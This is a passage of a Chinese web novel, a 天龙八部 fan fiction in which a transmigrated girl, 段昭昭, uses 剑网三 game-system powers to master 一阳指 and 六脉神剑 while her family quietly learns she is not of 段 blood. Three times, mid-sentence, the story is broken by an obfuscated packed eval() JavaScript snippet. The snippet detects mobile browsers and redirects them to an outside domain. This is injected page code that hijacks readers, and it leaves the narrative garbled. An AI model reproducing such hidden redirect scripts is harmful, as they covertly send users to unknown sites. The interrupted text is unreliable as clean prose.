受系统的影响,这具身体过目不忘,毕竟系统中读过的书籍可以抄写出来,这样的基础功能放到现实里就成了过目不忘,有了这样聪明的脑子,段昭昭学习起来也没有一开始畏惧,张嘴便念道,“赵钱孙李,周吴郑王....” 孟述圣教导过段誉,本就对段昭昭有所期待,见段昭昭方才笑了一下,又念得这般顺畅,心中便有了几分猜测,问道,“可是会背了?” 段昭昭点了点头,将手中的书反扣,便开始背了起来。 孟述圣抚须颔首,“不错,你可还记得那些字长何模样?” “记得!” 孟述圣拿出一早就备好的纸笔,教了段昭昭握笔的姿势,又给段昭昭磨好墨,令她将方才所见写出来。 段昭昭依言而行,她小时候虽然练过几天的毛笔字,但那都是多少年前的老黄历了,如今哪里会写? 但这一落笔脑子里却不由浮现了方才书上每个字的模样,一撇一捺记得是那么深刻,待笔尖落下,宣纸上便出现了一个又一个的字,与方才那本《百家姓》上的一模一样。 段昭昭见状,悟了。这就是系统的抄书功能啊!不愧是挂,真的好用,这要是搁科举文里,她就是连中六元的主角! 孟述圣拿着段昭昭写下的《百家姓》,惊得眼睛都从缝变成了洞,他将那边反扣的《百家姓》拿了起来,放在一块比对,却发现这两本中的字简直可以用一模一样来形容。 “啧!”孟述圣有些急躁地揪了揪自己的胡子,天才他见过不少,不说他本人以及中原那些天才,单单是他如今的另一个学生段誉便是一个天才,段昭昭能够过耳成诵过目不忘他不稀奇。 可这种只读一遍,未曾学过写字,却能够将书中的字完完全全复刻下来的本领他还是头一次见。 “你日后有何志向?”孟述圣早就知晓段昭昭一心向武,可如今见其天赋异禀,心有不甘,不由再次问道。 段昭昭没有丝毫犹豫,“我要当天下第一!” 孟述圣闻言手一抖,向来珍惜的胡须都断了几根,连声叹气,“唉,唉,唉!” 段昭昭假装看不见孟述圣的惋惜,她是来当天下第一的,可不是为了搞学问的,故作不知地问道,“先生,我将这个背下来了,我可以去练武了吗?” “不可!”孟述圣气鼓鼓地拒绝了段昭昭的请求,又拿来了一本《千字文》,教导起来。 而后,情景重现,看得孟述圣越发心疼,段誉伸长了脑袋津津有味地看着这一幕,见段昭昭默写出了《千字文》,不由笑道,“昭妹果真是聪慧至极。” “罢了罢了,来人,请镇南王来一趟。” 第一天上学刚刚一个多时辰,段昭昭便被请了家长。 段正淳还以为段昭昭是不习惯念书呢,急急忙忙赶来,却得知了自己女儿是天才这事儿,他倒也没有太过惊奇,毕竟段誉天资聪颖,有过一个天才儿童的他已然有了经验,“如此,那你便随为父习武吧。” 终于,段昭昭还是达成所愿,跟着段正淳习武去了。 因着段昭昭年幼,尚且不到 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“一阳指为手上功夫,我们便从手之六脉开始学起。手之六脉即太阴肺经、厥阴心包经、少阴心经、太阳小肠经、阳明大肠经、少阳三焦经。”段正淳一边说着,一边以细木棍在那经脉穴位图上一一指出六经所在。 段昭昭不敢分神,全神贯注开始听段正淳讲解。 因着系统开挂,段正淳讲完后,她便记住了,一一复述,时不时地还点点自己身上对应的穴位,无一错漏。 段正淳听孟先生提过段昭昭聪慧,当时只是自豪,如今亲自教导过后,喜悦之情后知后觉地涌了上来,遂又将段氏心法细细传授于段昭昭,“一阳指真气中正平和,有疗伤之效,你莫要乱动,我以真气在你体中游走,你须仔细记下路线。” “好!” 虽然段正淳这个路线记下来也没有用,毕竟段昭昭要练的是周天功,她可是个段氏来着的,要升级走的可不是这个路线,但段昭昭还是听得很认真。 真气一入体,段昭昭的个人面板就有了变化,显示正在传功状态。待段正淳将一整条经脉走完收手时,面板上又出现了“满神京”的状态。 在剑三中传功可以增加修为,但也有cd,满神京便是buff。不仅如此,原本一级的人物等级也嗖地一下窜到了十级,按照游戏设定,师徒传功还能涨经验! 除此外,灰蒙蒙的武学助手也终于亮起了一个图标,正是“断脉”,属于一阳指体系。 作为一个武学助手党,段昭昭还是第一次记住段氏的技能,平常打本她都是武学助手一键设置秘籍和奇穴,然后直接对着boss长按f键,自动连放,再然后就只用躲boss就好了,哪里知道段氏的技能叫什么名字? 直到今天升了级,武学助手被点亮,才知道,原来段氏的一阳指还有这么多的技能呢? 段昭昭蠢蠢欲动,一个没忍住,对着不远处的那个茶杯就是一个“断脉”。 “啪嗒——” 茶杯破裂,正对着段昭昭忆往昔感叹一阳指的高深与奥妙的段正淳傻了。 6. 段氏6 盯—— 盯—— 大眼瞪更大的眼睛。 “昭儿,你且再使一遍给为父瞧瞧。”因为太过震惊,段正淳难以相信自己的眼睛,他甚至怀疑自己出现了幻觉,想要再看看。 段昭昭依言而行,对着远处桌子上的茶杯又是一个断脉。 biu—— 这一次,茶杯碎得更惨烈。 段正淳傻了,如果说段昭昭第一次使出一阳指是他的幻觉,那么第二次使出,就绝对不是了。 而且这是怎么回事,学会那么快就算了,为什么第二次会比第一次效果更强? 奇穴阳池:被动招式,会心几率提高10%,会心效果提高10%。 满十级的段昭昭不仅解锁了一个技能,还可以点一个奇穴,和以往一样,她一键武学助手将奇穴给点了。 打了那么久的pve,段昭昭作为一个只会武学助手的ffff选手,她甚至连什么是会心真正的意思是什么都不知道,反正有配装,按照配装来就好了,其他的,fffff,管她呢! 不过虽然不知道会心是什么,但毫无疑问,这是一个增加“断脉”招式强度的奇穴。 因此,第二次使出来的“断脉”要比第一次的更强,毕竟有了奇穴的加持。 这些都是段正淳不知道的,在段正淳的眼里,段昭昭就是百年难得一见的武学奇才。 方才他的真气游走在段昭昭的经脉中,他可以非常确定,段昭昭没有一丝的内力,但是没有内力是怎么使出的一阳指? 段正淳不解,想不通的他只能轻声问道,“昭儿是怎么使出的这一招来?” “爹爹刚才不是教过我吗?我感受到爹爹的真气在身体中流转,很舒服,所以我就试了一下。”段昭昭理直气壮,装天才嘛,一回生二回熟,系统给开挂的天才也是天才。 段正淳幽幽叹了一口气,他不由回忆了一下自己年幼时学习一阳指的模样,沉默了,神情也变得萧索了。 一阳指强大与否,在于内力的积累,学会了之后,接下来都是水磨工夫,捶打自己的身体,修炼内功。 段正淳本想着段昭昭要是学不会,该如何细细教她,传授自己的小妙招了,没曾想,段昭昭一下就学会了,第二次还比第一次更强。 不过,按理来说,段昭昭第一次练武,哪里来的内力? 段正淳有些不放心,他决定好生检查一遍段昭昭的身体,“昭儿莫动,与方才一样,莫要抵抗。” “好。”段昭昭盘腿而坐,摆出五心朝天的姿势,和游戏里打坐调息的姿势一模一样。 段正淳的真气再次流转于段昭昭的经脉,这一次,他感受到一股温和的力量正在滋养着段昭昭的经脉,毫无疑问,这是内力。 段正淳:..... 他自取其辱地问道,“昭儿,你能够感受到你的经脉中有一股力量吗?” “嗯!”段昭昭点了点头,一副理所当然地说道,“方才爹爹的真气还留在经脉中,我尝试着让那真气在体内按照爹爹的路线流转,它就变得大了很多。爹爹骗人,还说很难,其实一点也不难。” 在段昭昭用出“断脉”之前,段正淳在那忆往昔,一边是为了给段昭昭讲讲段家的历史,一边也是为了给段昭昭打预防针,唯恐段昭昭是孩子心性,觉得太难了,会放弃,因此提前给段昭昭预告了一番一阳指的修炼之难,好让段昭昭有个心理准备。 “呵呵...”段正淳挤出了一个笑容,“是爹爹说谎了。” 不,他一点也都没有说谎!一阳指就是很难!想起当年学习一阳指的艰难,段正淳眼泪都要掉下来了。 段昭昭学会了一阳指,接下来就是慢慢练功了,因着她如今还小,便以修炼内力为主,每日练的大部分都是静功。 作为一个现代人,以往武侠只存在小说电视剧游戏里,这还是段昭昭第一次亲身体验武功,很是新奇,颇为沉迷。 和游戏里做任务升级不同,如今的世界也是一个现实世界,在现实世界中,想要升级主要从两个方面入手,一个是提升招式熟练度,即多使用招式,熟练度上去了,就会有经验。 另一个则是修炼内力,打坐修炼,让真气在经脉中游走,使得内力增长。 段昭昭顿时明了,这不就是打木桩和门派打坐嘛! 没有想到都穿越了,她还要打木桩,还要去掌门面前打坐。 不过这个世界可没有怎么打都打不烂的木桩,也没有掌门。 好在段昭昭有挂,这具身体是她扇萝号的身体,虽然是排骨号,但可没有错过领鸡蛋。西山居发过的鸡蛋她都有,其中就有之前从西山秘宝里三选一选出来的木武童。 木武童是万花谷工圣僧一行结合机甲之术制作出来的练功靶人,对于130级的扇萝而言,木武童压根不经用,不过几秒钟就被打得钻地了。但对于只有十多级的段昭昭而言,木武童还是十分好用的练功靶人。 不过怎么把这个东西拿出来是一个极大的问题。 很快,段昭昭就不用担忧这些了,因为段正淳作为大理的镇南王是有正经职业在身上的,他要去中原办公事,没法在镇南王府久留,等他再回来,家里多了什么新东西想来也正常。 然而,段昭昭还是想少了,段正淳这人说风流是真的风流,身上的缺点很多,但优点也真的不少。 与诸多的甩手掌柜式的“大爹”不同,他颇为心细,事无巨细地将家中之事叮嘱了一遍后,又领着段昭昭和段誉入宫了。 “爹爹不在府中,你与誉儿便在宫中小住,昭儿不必紧张,你伯父伯母很是喜爱你,你大伯为我段氏俗家第一高手,你有任何武学上的问题,皆可请教你大伯。”段正淳记得段昭昭内敛不喜生人,“父女”相认以来,段昭昭入宫的次数并不多,因此特意同段昭昭细细解释了一番。 段昭昭倒不是什么内敛不喜生人,不过是因为她是个冒牌的,压根就不是段正淳的女儿,本着说少错少的原因所以才给自己立了这么一个人设,如今却深入人心。 “莫要怕。”段正淳见段昭昭不语,摸了摸她的脑袋,声音越发柔和,“爹爹定早些回来,到时候给你和誉儿带些新奇的玩意,中原地大物博,待你再大一些,爹爹再带你去中原玩。” 段昭昭的原身家庭她提都不想提,面对这样慈爱的段正淳哪怕相处了快有两个多月,她还是有些手足无措,不知该怎么应对。 半晌,她才道,“没关系...不用早些也行,要小心,要安全....” 说完之后,段昭昭就有些后悔了,她真的不知道四岁的孩子该怎么说话,也不知道作为一个小孩子该怎么和温柔慈爱的父亲相处。 段正淳闻言,却十分感动,“昭儿是个好孩子。” 段誉更是眼泪汪汪,“昭妹真好。” 段昭昭一头雾水,她发现面前的父子俩是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360985|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的太夸张了一些,这样就成了好孩子了?这样就好了?还有...为什么眼眶会红了?....她不懂...但...很高兴.... 马车再次在牌坊前停下,和上一次一样的路线,不过这一次皇帝段正明没有在内书房,而是在禅房,大理皇帝是历代皇帝中少有的奇葩,都爱修佛,到了年纪就传位给继承人出家当和尚去,宫中也有专门参禅的禅房。 “誉儿,昭儿,来伯父这里。”段正明穿着僧袍,要不是还有一头乌黑的长发,看着就和僧人差不多。 段昭昭和段誉乖巧地站在了段正明的身前,段正明先是问了一遍段誉的功课,段誉不喜练武,因此没有武技的考核,但除此外,什么琴棋书画儒家经典以及佛家经典都有所涉猎,很难想象,一个不过七岁多的孩子要学这么多的东西,还门门都学得颇为不错。 段昭昭光是听段正明的考核就觉得晕头转向了,虽然她在这方面开了挂,全都会背会默,但会背离会用还差了很远的距离。 考教段誉用了两刻钟的时间,而后便轮到了段昭昭。 段正明牵着段昭昭的手走到练武场中,与一般的练武场不同,这里没有什么兵器,但是有一块又一块的巨石,这些巨石的表面坑坑洼洼的,段昭昭一眼便认出这是一阳指留下的印记。 “平日里,我便用这巨石练一阳指,昭儿,你且试试。” 这些日子,段昭昭一直看在修炼内力,没有练招式,因此并没有到二十级,也没有解锁新的技能,不过内力增长后,修为也增长了许多,她用修为点了四本“断脉”的秘籍,如今断脉的威力更甚之前。 biu—— 断脉在那块巨石上留下一个浅浅的坑。 “继续。” 段昭昭又一击断脉打在了巨石上,再次留下一个小坑。 段正明依旧没有喊停,段昭昭只能一直使用断脉打在那巨石上,不过一会儿,她留下的小坑便在巨石上形成了一个“段”字。 “好了。”段正明这才喊停,他先是行至巨石前,摩挲着段昭昭在巨石上留下的小坑,判断段昭昭的实力,而后才走到段昭昭的身边,伸出食中无三指轻轻搭在段昭昭的“列缺穴”上。 然而,下一息,他略显惊讶地看了段昭昭一眼,便又将手指换至寸口。 “昭儿的身体无恙,淳弟不必担忧,昭儿内力进步极快,想来是因为经脉强健天赋异禀之故,是好事。” 段昭昭的内力修为进步之快,大大震惊了段正淳,段正淳不善医术,于一阳指方面的修为也不如兄长段正明,他唯恐段昭昭这样快的进步会伤了身体,因此今日送段昭昭段誉进宫,也有请段正明为段昭昭诊治的意思。 毕竟段正明除了是段氏俗家第一高手,于医术方面也有不匪的造诣。 “誉儿,带你妹妹去寻你伯母吃点心。” 段昭昭总觉得气氛怪怪的,但一时半会儿又不知道是为什么,不等她细想,段誉便牵起了她的手,道,“昭妹,我们去寻大伯母。” 段昭昭不好拒绝,闷声道,“好....” 待两人离开后,段正明这才开口,“淳弟....” “大哥不必多言。”段正淳幽幽叹了一口气,眉头微蹙,一脸的惭愧,“昭儿虽非我之血脉,其母却必然与我有过一段姻缘,否则不会让昭儿来寻我。昭儿四岁方才来寻,想来她也是没有了别的法子,我对不起她,自当好好抚养昭儿长大。” 7. 段氏7 段氏子孙皆是反关脉,脉搏不行于寸口,而是行于列缺,此为反关脉。 先前在镇南王府时,段正淳请了大夫为段昭昭诊脉,只是那时候朱丹臣寻段正淳禀告段昭昭生母的消息,生怕有什么不好消息的段正淳避开了段昭昭,自然也没有看到了大夫为段昭昭诊脉的模样。 彼时段正淳还未对外宣布段昭昭为郡主之事,大夫并不知晓内情,也没有特意禀告,后来段昭昭成了郡主,其中缘由那大夫也不知晓,毕竟段家有这么一个特征在,段正淳既然认了女,想必定有缘由,他一个小小的大夫何必多嘴,就这样一直瞒到了今日。 段正明将段昭昭当成了段氏子孙,伸手便是去寻列缺穴,却发现列缺无脉搏,后又才摸到寸口,毫无疑问,段昭昭为正常脉象,而非反关脉,由此可见段昭昭并非段氏子孙。 段昭昭作为一个只看过《天龙八部》的电视剧和同人,压根就没有看过原著的人,并不知晓这一设定,所以她根本就不知道自己掉马了。 但是看见段正明动作的段正淳却在那一瞬间便明了,段昭昭非自己的血脉。 “昭儿来寻我时,她娘亲便同她说过,倘若我见了她想不起她娘亲是谁,让她便是饿死也不能认我,当时我权当她恨我,如今想来,却是别有深意,否则理应留下信物,恐怕她是告诉我,这孩子非我所生,只是不想昭儿难过,才这般隐蔽告知于我。” 段昭昭生得好,且段正淳认为他肖似生母,段正淳本就是个心肠好的人,尤其是对和自己有过一段情缘的貌美女子,哪怕叫他为这女子去死他也是愿意的,更何况是在对方命陨之际将自己的女儿交付给他,替她抚养女儿长大呢? 段正明微微颔首,“昭儿天资聪颖,你对不起她阿娘在先,这中原习俗不比我大理,很是严苛,她带着昭儿自幼在长居深山,其中未必没有你之故。淳弟,你万不可因她非你亲女便轻待,理应视为亲子。” 段正明为人正派,深明大义,他对弟弟的风流持中立态度,但因弟弟的风流造成的孽债却没法视而不见。 联想到自家弟弟的性子,便推测段昭昭的生母被段正淳勾搭上时,已为他人妇,定然是与段正淳之事暴露后,被他人所不容,才只能带着女儿躲入深山避世而居。说来说去,都是段正淳造的孽,段正淳理应负起责任。 “大哥放心,昭儿聪慧乖巧,便是我亲子。” “誉儿那边也同他好生解释,这反关脉一事莫要让誉儿说漏了嘴,我观昭儿心思细腻,性子倔强,若她知晓自己身世,想来....唉....” 段昭昭认亲一事的始末段正明一清二楚,自然也知道段昭昭在段正淳没认出她娘亲后,要寻死一事,由此认定段昭昭是个烈性子硬脾气之人,唯恐段昭昭知晓“真相”后,不肯继续当这个郡主,承段正淳的恩情。 且不提段正淳造的孽,段家作为大理皇室并不缺多样一个孩子所需的银财,段昭昭是女子,不会影段氏血脉传承,且段昭昭天资聪颖,为千百年来难得一见的武学奇才,如今又学了一阳指,这样的孩子好生教导,日后段家又得一名高手坐镇。 无论从哪方面而言,认下段昭昭这个女儿都是有利无弊。 两人商定好,便叫宫人去将段誉请来,唯恐段誉说漏了嘴。 段誉正和段昭昭在皇后宫中,知晓两人要来宫中小住,皇后十分欣喜,准备了许多孩童玩耍的器具,又备好了点心衣衫以及各种首饰,这宫中没有孩子,皇后素来寂寞,有了段昭昭和段誉后,她只觉得宫中也没有那么寂寞凄冷了。 段昭昭生得玉雪可爱,又十分乖巧,吃完点心后便被皇后哄着换了好些衣裳。 段誉坐在一旁,抚掌大赞道,“伯母这件芽绿色的衣裙挑得极好,今日方知绿妒轻裙是何模样,也唯有昭妹这若姑射仙子者,才能与这件衣裙相互辉映,绿兮衣兮,今后誉儿见过最美的绿色便是昭妹这一身的芽绿。” 段昭昭:.....四岁女童,姑射仙子?认真的吗? 段誉虽然不是段正淳的亲儿子,可是看看这说好话哄女人的模样,妥妥的段正淳做派。 段昭昭每换一件衣裳,段誉都能够从头夸到脚,各种诗词典故不要钱地往她身上堆,热情至极,但凡是换个人来,估计都要被段誉哄成胚胎了,情绪价值给得特别足。 和段誉一比,她简直就是个哑巴,想给一些情绪价值,愣是一句话都不会说,毕竟能说的都让段誉给说完了,只能干巴巴道,“谢谢伯母,昭儿很喜欢这件绿衣裙。” 太难了,真的太难了,仅次于做数学题的难! 段昭昭心中流下宽面条泪,她现在终于明白了什么叫i人就是e人的玩具。 皇后见段昭昭窘迫的模样,雪白的小脸蛋都给憋红了,心中怜爱更甚,嘴甜的段誉招人喜欢,可乖巧可爱的段昭昭也同样得皇后怜爱,她抱着段昭昭一阵亲香,最后是小太监解救了段昭昭。 小太监是段正明派来请段誉的,段誉一走,这换衣游戏没有了捧哏的也就告了一个段落,段昭昭得以喘息。 另一边,内书房中,刚刚被自己伯父和父亲告知妹妹不是亲妹妹的段誉脑子还有些没有反应过来,怎么好好的妹妹就不是亲妹妹了呢? “誉儿,此事万不可说漏了嘴,无论如何,都要将昭儿当作你的亲生妹子对待。”段正明慎重其事,作为一个帝王,哪怕再仁慈也是有帝王心术,他心疼段昭昭是真,想要让段誉这个不爱习武的未来大理继承人和段昭昭培养兄妹之情,好让段昭昭以后好生辅佐段誉也是真。 段誉并不知段正明的打算,用力地点了点头,“我一定好好待昭妹!” 段正明又将此事告知皇后,两人联手令其他人严禁向段昭昭透露此事,段昭昭尚且不知自己掉了马,依旧扮演着沉默文静的小姑娘,刻苦练武,维护自己的小马甲。 进了宫中,段昭昭不用再找借口给木武童找出处了,因为她发现皇宫中的巨石可比木武童好用多了,作为段正明练一阳指的巨石,十分耐用,段昭昭从打木桩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360986|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了打巨石。 每日辰时起,用了早膳后,便去练武场开始打巨石,练了两个时辰后,便回屋和段誉一起上一个时辰的文化课,再用了午膳,打坐修炼内功一个时辰,午睡半个时辰,起床继续打巨石,一直打到天黑,即戌时正,用了晚膳后,便去禅房打坐修炼内功,一直到晚上子时正准时上床睡觉。 就这样,日复一日,不曾有半点懈怠,哪怕是元旦这样的大节日,依旧会抽出两个时辰对着巨石练一阳指的招式,两个时辰练内功,这样自律令段正明既震惊又欣慰。 要知道,这可是只有四岁的孩子,虽说翻了年到了五岁,但在段正明等人看来,依旧十分年幼,小小年纪就有这样的心志,将来成就必然不可估量。 段昭昭只觉得自己又回到了双倍掉落的时候,两眼一睁就是肝,双倍掉落除了不老囊基本无所获,那么多的号连块130的玄晶都没有见到,但如今肝招式和内功,那是真的长经验。 在段正淳回来之前,段昭昭顺利将等级肝到了二十级,解锁了第二个技能——截阳。 截阳和断脉虽同属一阳指体系,但招式效果可不同,除了同样会造成混元内功伤害,截阳还会为目标附加三层不可卸除的绝脉效果,绝脉在游戏中的效果能够令调息时间增长,放到了现实中便是令内功运行艰涩。 “昭儿,站远一些再用一阳指。” 作为一个皇帝,段正明要处理政务,要练武,要参禅,这导致他十分忙碌,亲自教导段昭昭的时间并不多,而一阳指在学会之后,要提升的便只有内力和对敌经验,如今段昭昭尚小,段正明没有打算让她对敌,因此平日里只让宫中护卫看护着段昭昭,偶尔来看上几眼,确定段昭昭无事,并未亲自上手教导。 因着段昭昭勤学苦练,段正明起了教导的心思,想教授段昭昭些许的对敌经验,这才来练武场,只是这一来,却看出了不同。 段昭昭不明所以,按照段正明的话,站得更远了一些,约莫有十八尺左右,对着巨石伸出了小拇指,又是一个断 “并非这一种,我记得你先前用的是中指。” 中指,用的便是截阳,段昭昭乖巧地伸出了中指,对着巨石就是一个截阳。 段正明心中了有了决断,这绝非一阳指,应该说,这绝非大理段氏的一阳指,反而更像另一门功夫,一门他年幼时听自己爹爹提起过的奇功。 一阳指是一门点穴的功夫,受内力的影响,不拘哪根手指都可,譬如段正明和段正淳兄弟俩常用食指,但是天龙寺也有前辈的一阳指是用大拇指,简而言之便是喜欢用哪根手指用哪根。 一阳指是将体内的真气凝于指尖弹出去,点射攻击,可段昭昭的一阳指不同,尤其是站的更远了一些后,段正明可以清楚地发现段昭昭的一阳指更像是凝聚一道真气,宛若一柄剑,有斩削之能。 先前段昭昭站得近,内力弱并不明显,如今离得远,内力又增强了许多,哪怕那道真气细弱丝线一般,但依旧让段正明看得分明。 8. 段氏8 “昭儿,你瞧。”段正明伸出食指对着那块巨石便是一道一阳指,“感受到吗?伯父的一阳指这真气宛若铜豆,以内力驱使射入巨石,可是你的真气却是一道而非一点,且这小指和中指使出的招式不同,你可以告诉伯父你是如何做到的吗?” 按理来说,这样的一道真气,需要有深厚的内力作为基础,段昭昭的内力虽增长了许多,但绝对和深厚扯不上干系。 段昭昭哪里知道是如何做到的,她就是按照系统的升级方式按部就班地练习升级的,更多的,她压根不懂,要怪只能够怪西山居的一阳指套路的特效是一道光,到了现实世界,可不就成了一道真气嘛! “爹爹教过我,手有六脉,我有许多根指头,便想试试不同的手指对应不同的经脉。至于为何是一道,要把两点连在一起不应该是一道吗?很简单的,想想就能够做到了。” 遇事不决,开始装天才,别问怎么做到的,我想,所以我做到,就是这么简单! 段正明有一瞬间的语塞,能成为段氏俗家第一高手,段正明于武学一道也是天资卓绝之辈,可是遇到了段昭昭这种开挂的,也会有无力之感。 好在他心境开阔,很快就自我开解道,“武学一道天资悟性与刻苦缺一不可,终究是我缺了天资悟性,强求不得,昭儿有此机遇,理应好生修炼。” 段昭昭见段正明没有追问,心中松了一口气,她真的要编不下去了。 只是这件事并没有这么快结束,次日,段昭昭被段正明领着去了天龙寺。 天龙寺在大理城外点苍山中岳峰之北,正式名唤作崇圣寺,背负苍山,面临洱水,百姓们习惯将其称之为天龙寺。寺中有三塔,为唐初所建,大者高二百余尺,相传天龙寺有五宝,而三塔为五宝之首。* 段氏历代皇帝做到头后往往都会出家为僧,都是在这天龙寺出的家,可以说,天龙寺里的和尚都是姓段的,天龙寺也是大理的皇室寺庙。 和游戏里的天龙寺不同,也和段昭昭在电视剧里看到的天龙寺不一样,这个世界的天龙寺异常的华贵,以段昭昭有限的文学知识很难用什么语言去描绘它。 “好大....”作为一个“大海全是水”的选手,段昭昭的感慨就是如此的朴实无华。 “昭儿,天龙寺中皆为我段氏前辈,见了须得恭敬。这寺中有三阁,七楼、九殿、百厦,构筑精丽,待拜会各位前辈后,伯父再带你好生逛逛。”段正明牵着段昭昭的手行至禅房。 禅房中,有中年僧人早已等候多时。 “昭儿,这位是本因方丈。” “昭昭见过方丈。”段昭昭学着段正明的模样,给本因方丈行了一礼。 本因方丈,微微颔首,唤段昭昭上前,捏了捏她的筋骨,目光精光,很是满意。 “你昨日同我所说之事,我已告知诸位师兄弟,师叔亦知晓此事,你们且随我去牟尼堂拜谒师叔。” 本因方丈口中的师叔便是枯荣大师,这枯荣大师为段氏如今辈分最高者,地位尊崇。 段正明昨日见段昭昭使出了“截阳”,肖似那传说中的“六脉神剑”,心神俱震,又喜段昭昭天资甚佳,不欲耽搁段昭昭,免庸师误人,特传信于天龙寺本因方丈,说明始末,想让段昭昭同天龙寺高僧习武,没想到枯荣大师竟然要见段昭昭。 “未曾想竟惊扰了枯荣大师修行。” 段昭昭一听枯荣大师,耳朵不由竖起了一些。别人不熟,枯荣大师她熟啊,毕竟打了那么多次的天龙寺了,虽然是枯荣大师的幻影,但四舍五入就是枯荣大师了。 游戏里的枯荣大师是个紫袍子戴着半边面具拥有长长白胡子的老头,不知这天龙八部中的枯荣大师是什么模样。 两个小沙弥在前方带路,自瑞鹤门而入,一路行过各色金碧辉煌的亭台楼阁,最后在一条长廊处两个小沙弥停下了脚步,而本因方丈继续向西而行,段昭昭亦步亦趋跟上。 又走了好一段路,终于在几间大屋前停下,与金碧荧煌的其他殿堂不同,这几间屋子极为质朴,由松木搭成,木料甚至连皮都没有去。 本因大师双手合十,道,“本因已至,叨扰三位师兄弟与师叔。” “等候多时,方丈请进。” 这屋子的外表虽然质朴,内里却十分开阔,堂中有四个和尚坐在蒲团上,两位枯黄精瘦,一位魁梧大汉,最东边的那个身形高大却削瘦,半张脸宛若枯木一般萎缩,半张却是完好。 枯荣大师修炼枯荣禅功,此番面容正是因为他的功法已至“半枯半荣”之境。 互相见过礼后,枯荣大师将段昭昭唤至身前,先是捏过她的筋骨后,又令她坐在蒲团上运功。 段昭昭心中忐忑,只觉得一群人跟打哑谜似的,不知道在干什么,不由看向最熟悉的段正明。 段正明微微一笑,安抚道,“昭儿莫怕,听太师祖所言。” 段昭昭微微吸了一口气,盘腿开始打坐,和以往一样,运起了周天功开始内力修炼。 很快,她就感受到一股温和的内力自流转入自己的体中,随着自己的内力运转路线走了一个来回后才撤了出去。 紧接着,枯荣大师又将段昭昭唤起身,令段昭昭将那两招“一阳指”使出来,段昭昭依言而行,用出了断脉与截阳。 而后,只见堂中五僧的面上不由都露出了些许的欣喜之意。 “我尚缺一捧经童子,昭儿便在天龙寺住下,随我念几日的经。” 枯荣大师一锤定音,段正明喜不自胜。待沙弥领着段正明和段昭昭去寺中客房休息时,段正明低声叮嘱道,“昭儿,枯荣大师为得道高僧,你有此机遇,应当将枯荣大师的教诲牢记于心。” 段昭昭悬着的心终于落回胸膛,她懂了,这是要培养她,送她来进修了,这天龙寺里有什么,自然是六脉神剑!十有八九送她来学《六脉神剑》了。 果然,第二日,段昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360987|183677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭去牟尼堂随枯荣大师念经时,枯荣大师超绝不经意地将六幅图放在了段昭昭的眼前,也不说话,只顾着闭目调息。 这六幅图正是《六脉神剑》的秘籍,段昭昭有系统开挂,只需看一遍便能记得清清楚楚。 都是段氏武学,也不知道学了会不会不兼容。 段昭昭好奇地按照其中一幅图开始修炼起来,很奇妙,没有任何的不兼容,小指一伸,一道剑气射了射了出去,中指再一伸,又一道剑气射了出去。 只是两道剑气一射,段昭昭整个人就被掏空了,她的蓝条已然见底。 不敢再动,连忙打坐调息,不过这一次,她是真的会段氏的《六脉神剑》了,虽然只会其中两式。 枯荣大师嚯地睁开了眼睛,惊愕地看着段昭昭,虽只有两道剑气,但毫无疑问,段昭昭一个人发出了两道不同的剑气,即中指的关冲剑以及右小指的关冲剑。 《六脉神剑》不可传段氏俗家弟子,祖宗之法固然不可变,但修行之人又岂会不知变通?于是就有了枯荣大师这一出超绝不经意秘籍泄露。 他静静地盯着段昭昭,段昭昭被盯得实在是受不了了,睁开了眼睛,和枯荣大师大眼瞪小眼。 “如何?” “不如一阳指。” 这一阳指自然是剑三段氏版本的一阳指,威力大,还不会那么耗蓝,这天龙的《六脉神剑》学倒是学会了,可是真的很耗蓝,两个技能一放,蓝条瞬间清空,对于段昭昭而言,还是“一阳指”更适合她。 枯荣大师心情复杂,他修行禅功,本该波澜不惊,但再波澜不惊,看到这么小的孩子,这样的天才,都不由心生巨浪。 “也罢也罢,各人有各人的缘法,你可记住了。”枯荣大师扫了一眼那六幅图,意思再明确不过了。 段昭昭乖巧点头,“都记住了。” 此时距离枯荣大师摆出这六幅图不过一刻钟后,段昭昭不仅全部记住还使出了剑招,这样的天资令枯荣大师都不知如何言语,最后只能对服侍他的小沙弥吩咐道,“送郡主回宫中吧。” 冷静如枯荣大师也会为这样的天资心神摇曳,还是不要将人留在寺中刺激其他人了。 段昭昭就这么被送回了皇宫,段正明见到段昭昭很是惊讶,连声问道,“昭儿,可是寺中出了事?” 段昭昭摇了摇头,实话实说道,“太师祖摆出了六幅图,我瞧一眼便记下了,心中好奇,按那经脉使出了两道真气,太师祖问我如何,我说不如一阳指,太师祖问我是不是将六幅图都记住了,我说是,他便让我回皇宫了。” 段正明:..... 现在他想让人回镇南王府。 